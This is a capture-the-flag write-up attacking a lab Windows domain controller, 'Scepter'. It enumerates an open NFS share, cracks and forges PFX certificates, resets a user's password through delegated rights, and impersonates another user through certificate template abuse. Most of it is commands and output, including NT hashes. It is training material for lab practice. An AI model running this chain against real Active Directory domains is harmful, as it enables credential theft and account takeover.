Difficulty: Hard
OS: Windows
Points: 40
Date: 2025-04-21
🔍 Reconnaissance
🔎 Nmap Scan
I started by running an initial Nmap scan:
nmap -sV -sC -v -oN scan 10.129.13.37
Results:
-
The host is up with ~140ms latency.
-
Several important ports are open, notably:
-
53/tcp - DNS (Simple DNS Plus)
-
88/tcp - Kerberos
-
111/tcp - rpcbind
-
135/tcp - MS RPC
-
139/tcp - NetBIOS-SSN
-
389/tcp - LDAP
-
445/tcp - Microsoft-DS (SMB)
-
464/tcp - kpasswd5
-
593/tcp - RPC over HTTP
-
636/tcp - LDAPS
-
2049/tcp - NFS (mountd)
-
3268/tcp - Global Catalog LDAP
-
3269/tcp - Global Catalog LDAPS
-
-
SSL certificates reveal the hostname:
dc01.scepter.htb -
SMB signing is enabled and required, potentially restricting relay attacks.
The server appears to be a Windows Domain Controller based on services and naming.
🧰 Enum4linux
Next, I used enum4linux-ng to enumerate more information:
enum4linux-ng -A 10.129.13.37
Key Findings:
-
LDAP and SMB are accessible.
-
SMB dialect supports SMB 2.0+ (SMB1 is disabled).
-
Null sessions are allowed over SMB.
-
Domain Name: SCEPTER
-
Domain SID: S-1-5-21-74879546-916818434-740295365
-
OS Version detected: Windows 10 / Server 2016/2019 (Build 17763)
Unfortunately, most user and group enumeration attempts returned STATUS_ACCESS_DENIED.
📂 NFS Enumeration
Port 2049/tcp (NFS) caught my attention. I checked the available mounts:
showmount -e 10.129.13.37
Results:
Export list for 10.129.13.37:
/helpdesk (everyone)
There’s a publicly accessible /helpdesk share exposed via NFS.
This looks like a potential foothold!
📂 NFS Mount & File Discovery
We identified an NFS share /helpdesk earlier. Let's mount it on our Kali machine:
mkdir /tmp/helpdesk-nfs
sudo mount -t nfs 10.129.13.37:/helpdesk /tmp/helpdesk-nfs
sudo ls -la /tmp/helpdesk-nfs
Contents of the mounted share:
total 33
drwx------ 2 nobody nogroup 64 Nov 1 22:02 .
drwxrwxrwt 20 root root 12288 Apr 21 06:51 ..
-rwx------ 1 nobody nogroup 2484 Nov 1 22:01 baker.crt
-rwx------ 1 nobody nogroup 2029 Nov 1 22:01 baker.key
-rwx------ 1 nobody nogroup 3315 Nov 1 22:01 clark.pfx
-rwx------ 1 nobody nogroup 3315 Nov 1 22:01 lewis.pfx
-rwx------ 1 nobody nogroup 3315 Nov 1 22:02 scott.pfx
We found several .pfx and certificate/key files — time to crack them.
🔑 Cracking PFX Files
We attempt to crack the lewis.pfx file using pfx2john and john:
pfx2john lewis.pfx | tee -a lewishash
john --wordlist=/usr/share/wordlists/rockyou.txt lewishash
newpassword (lewis.pfx)
However, when attempting to authenticate using Lewis's credentials, we encountered a locked account error:
[*] Using principal: [email protected]
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_CLIENT_REVOKED
🔧 Crafting a New PFX for Baker
Given that Baker’s .crt and .key were available, I manually created a new .pfx file:
openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt -passout pass:newpassword
I then set wide-open permissions and used certipy to authenticate:
chmod 777 baker.pfx
certipy auth -pfx baker.pfx -dc-ip 10.129.13.37
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce
Success! 🎉
We obtained a TGT and NTLM hash for d.baker:
**Note: If you encounter a clock skew error, fix your system time with:
sudo ntpdate 10.129.13.37
🧠 BloodHound Enumeration
Using bloodhound-python, we dumped the domain information:
bloodhound-python -u 'd.baker' --hashes 'aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce' -d scepter.htb -ns 10.129.10.255 --auth-method ntlm -c All --zip --disable-autogc
We identified OutboundControl privileges on user a.carter.
🔒 Resetting A.Carter’s Password
We leveraged changepasswd.py to reset Carter’s password:
changepasswd.py 'scepter.htb'/'a.carter'@10.129.10.255 -reset -altuser 'd.baker' -althash :'18b5fb0d99e7a475316213c15b6f22ce'
✅ Password changed successfully!
Verification using nxc:
nxc smb 10.129.10.255 -u 'a.carter' -p 'Password'
🧠 BloodHound Again - As A.Carter
Now using the newly reset a.carter account:
bloodhound-python -c All -u a.carter -p 'Password' -d scepter.htb -ns 10.129.10.255 --zip
🛠 Exploiting GenericAll on OU
BloodHound showed Carter had GenericAll rights over the STAFF ACCESS CERTIFICATE OU.
Step 1: Confirm or set GenericAll:
bloodyAD -d scepter.htb -u a.carter -p 'Password' --host dc01.scepter.htb --dc-ip 10.129.10.255 add genericAll "OU=STAFF ACCESS CERTIFICATE,DC=SCEPTER,DC=HTB" a.carter
Step 2: Modify the d.baker's mail attribute to impersonate another user:
bloodyAD -d scepter.htb -u a.carter -p 'Password' --host dc01.scepter.htb --dc-ip 10.129.10.255 set object d.baker mail -v [email protected]
🎯 Requesting Certificate as H.Brown
We requested a certificate now tied to h.brown:
certipy req -username "[email protected]" -hashes aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce -target dc01.scepter.htb -ca 'scepter-DC01-CA' -template 'StaffAccessCertificate'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 9
[*] Got certificate without identification
[*] Certificate has no object SID
[*] Saved certificate and private key to 'd.baker.pfx'
Authentication as h.brown:
certipy auth -pfx d.baker.pfx -domain scepter.htb -dc-ip 10.129.10.255 -username h.brown
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
Got TGT and NTLM hash for h.brown:
aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
🏁 Shell Access!
If you want to make these articles yourself and get access to them then join our CTF team at: https://kaizenl.ink/ctf